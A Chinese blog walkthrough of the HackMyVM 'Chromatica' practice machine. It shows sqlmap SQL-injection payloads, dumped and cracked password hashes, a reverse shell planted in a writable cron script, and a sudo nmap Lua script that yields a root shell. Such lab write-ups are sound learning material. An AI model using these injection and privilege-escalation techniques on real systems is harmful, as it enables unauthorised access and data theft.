当前位置: 首页 > news >正文

HackMyVM-chromatica

简介

  • 靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Chromatica

image
环境:

  • 攻击机 kali 192.168.43.40
  • 靶机 VB 192.168.43.41

开始渗透

靶机一打开就显示ip地址了,直接用nmap扫描端口
image
呕吼,这次还有个5353端口
目录扫描有个robots.txt
image
发现有个新的路径:
image
用HACKBAR改一下UA头,直接访问这个路径
里面是个搜索城市的搜索框
image
image
先随便搜一个,有个新的路径/search.php,看一下是一些城市的信息
image
随便选一个城市搜索,感觉有点像sql注入,手工测一下:
'闭合报错;'--+闭合有回显,直接上sqlmap
image
sqlmap拿到用户信息


sqlmap -u "http://192.168.43.41/dev-portal/search.php?city=" --user-agent="dev" -D Chromatica -T users -C id,username,password --dump --batch_____H__                                                                                                                                                                                                                    ___ ___[']_____ ___ ___  {1.9.7.15#dev}                                                                                                                                                                                        
|_ -| . [)]     | .'| . |                                                                                                                                                                                                       
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 04:21:39 /2026-06-16/[04:21:40] [WARNING] provided value for parameter 'city' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[04:21:40] [INFO] resuming back-end DBMS 'mysql' 
[04:21:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: city (GET)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: city=' AND (SELECT 8540 FROM (SELECT(SLEEP(5)))eZLl) AND 'ToUj'='ToUjType: UNION queryTitle: Generic UNION query (NULL) - 4 columnsPayload: city=' UNION ALL SELECT NULL,CONCAT(0x717a6b6a71,0x4c77764871705a7578446c49586a6d4c46584176586149514a59466465656b636d69556275686967,0x71707a7171),NULL,NULL-- -
---
[04:21:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[04:21:40] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'Chromatica'
[04:21:40] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[04:21:40] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[04:21:40] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[04:21:40] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[04:21:40] [INFO] starting 6 processes 
[04:21:41] [INFO] cracked password 'keeptrying' for user 'user'                                                             
Database: Chromatica                                                                                                        
Table: users
[5 entries]
+----+-----------+-----------------------------------------------+
| id | username  | password                                      |
+----+-----------+-----------------------------------------------+
| 1  | admin     | 8d06f5ae0a469178b28bbd34d1da6ef3              |
| 2  | dev       | 1ea6762d9b86b5676052d1ebd5f649d7              |
| 3  | user      | 3dd0f70a06e2900693fc4b684484ac85 (keeptrying) |
| 4  | dev-selim | f220c85e3ff19d043def2578888fb4e5              |
| 5  | intern    | aaf7fb4d4bffb8c8002978a9c9c6ddc9              |
+----+-----------+-----------------------------------------------+[04:21:43] [INFO] table 'Chromatica.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.43.41/dump/Chromatica/users.csv'                                                                                                             
[04:21:43] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.43.41'
[04:21:43] [WARNING] your sqlmap version is outdated[*] ending @ 04:21:43 /2026-06-16/

这里应该是直接爆破MD5
下面这个图是源代码里的,他说上色啥的可能意思是彩虹表,我随便瞎猜的可能也是线索吧
image
这里我一开始用kali的hashcat配合rockyou字典,但是没爆破出来
用在线MD5有结果但是要收费md!还不便宜,算了直接去别人的wp里找一下解密的结果吧.......

admin:adm!n
dev:flaghere
user:keeptrying
dev-selim:
intern:intern00

这里只有dev这个用户能连,但是它返回了一些内容就直接断开连接了
返回的flag还是个假的,提交不上
image
这里没招了,看了大佬的wp才知道要保持ssh不被断开需要把窗口缩小到无法一次性打印全部字符,学到了
缩小窗口之后,再输入!bash就拿到了dev的shell
image
然后拿flag提交
image

提权

sudo -l无法执行,dev用户无法执行sudo命令
有一个bye.sh,打开看一下,可以运行more命令。

image
去gtfobins里找more命令,发现无法提权
嘶.....再找找别的


在/home下还有一个用户,看一下定时文件
发现用户analyst每分钟/bin/bash执行一个sh文件


dev@Chromatica:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   analyst /bin/bash /opt/scripts/end_of_day.sh
#

查看我们这个用户对这个sh文件的权限,可读可写
直接写个反弹shell的命令进去
image
开监听,等着shell反弹,这里也有一个flag但是提交不了,先不管了
image
接着想办法提权到root。依旧sudo -l 发现可以用nmap命令。直接去gtfobins上找,但是发现用不了??????

image
后来去浏览器里搜索,还有一个gtfobins版本的nmap里面一种提权方式。如图:
(a)的内容是可用的
(b)的内容有版本限制
我也不知道为什么gtfobins官网里的nmap命令没有写(a)这种提权方式
image

跟着写命令,直接就提权成功了

analyst@Chromatica:~$ TF=$(mktemp)
TF=$(mktemp)
analyst@Chromatica:~$ echo 'os.execute("/bin/sh")'>$TF
echo 'os.execute("/bin/sh")'>$TF
analyst@Chromatica:~$ sudo nmap --script=$TF
sudo nmap --script=$TF
Starting Nmap 7.80 ( https://nmap.org ) at 2026-06-16 11:16 UTC
NSE: Warning: Loading '/tmp/tmp.j9TlFepk4l' -- the recommended file extension is '.nse'.
# is
/bin/sh: 1: is: not found
# id
uid=0(root) gid=0(root) groups=0(root)

拿flag,over
image

做完才发现5353端口好像没有用上........

http://www.rkmt.cn/news/1537409.html

相关文章:

  • NSK SFT3210-2.5 滚珠丝杠技术详解
  • 2026 济南环氧固化地坪施工厂家测评榜:老牌直营厂家自有施工队,包工包料缩短施工周期 - 资讯纵览
  • 为什么e5-small-openmind是语义相似性任务的终极选择?实测对比10种主流模型
  • 安徽高考数学 2015-2026
  • 植筋胶厂家预约核心考察维度:华东工程工期与交付适配指南 - 资讯纵览
  • 沈阳智能工厂申报服务机构排行 专业合规服务方客观盘点 - 互联网科技品牌测评
  • 2026年郑州复印机打印机租赁靠谱服务商参考名录 - 资讯纵览
  • 终极Nexe指南:如何将Node.js应用打包为独立可执行文件(2025最新版)
  • 2026年佛山公寓购买排行盘点 多维度适配需求参考 - 互联网科技品牌测评
  • 终极指南:5步掌握Intel RealSense SDK的3D视觉应用开发
  • FigmaCN:为中文设计师打造的专业级界面本地化方案
  • 武汉名包回收测评|实测五家机构,你的闲置包包该去哪卖? - 奢侈品回收测评
  • 2026地毯推荐:无胶技术引领健康家居新趋势 - 资讯纵览
  • 升降压型LED驱动芯片PW6300采用电流模闭环控制
  • 沈阳知识产权代理机构排行:基于公开服务维度客观梳理 - 互联网科技品牌测评
  • 2026 成都名牌首饰回收行业白皮书:主流线下门店盘点,全流程交易套路拆解 - 禹竞
  • 2026上半年防排烟玻璃棉厂家哪家专业选择攻略 - 资讯纵览
  • PIC18单片机MSSP模块驱动SPI EEPROM:C18环境下的硬件接口与驱动设计
  • 2026石家庄艺考生文化课热门机构大盘点 - 资讯纵览
  • 3分钟掌握FunClip:零门槛AI视频剪辑神器,快速提取精彩片段
  • 嵌入式系统复位管理:PXD20 MC_RGM模块配置与高可靠性设计实践
  • 2026阳江注册公司代办机构甄选|四大高口碑靠谱机构实力测评 - 资讯纵览
  • 3分钟掌握Gofile批量下载:终极自动化解决方案
  • 深入解析OSEK/VDX RTOS三大核心机制:资源管理、计数器与报警器、事件管理
  • 学生党性价比最高的女士手表品牌有哪些?2026 最新推荐 - 互联网科技品牌测评
  • zeroclaw 使用教程
  • CPU跑大模型实战:llama.cpp+GGUF量化部署全指南
  • 智能电视网页浏览革命:TV Bro电视浏览器的完整解决方案
  • TensorFlow 2.0实现神经风格迁移:从VGG19原理到Gram矩阵实战
  • 2026 发酵桑葚酒公司推荐|桑良东方养系果酒,非遗联名品质果酒 - 资讯纵览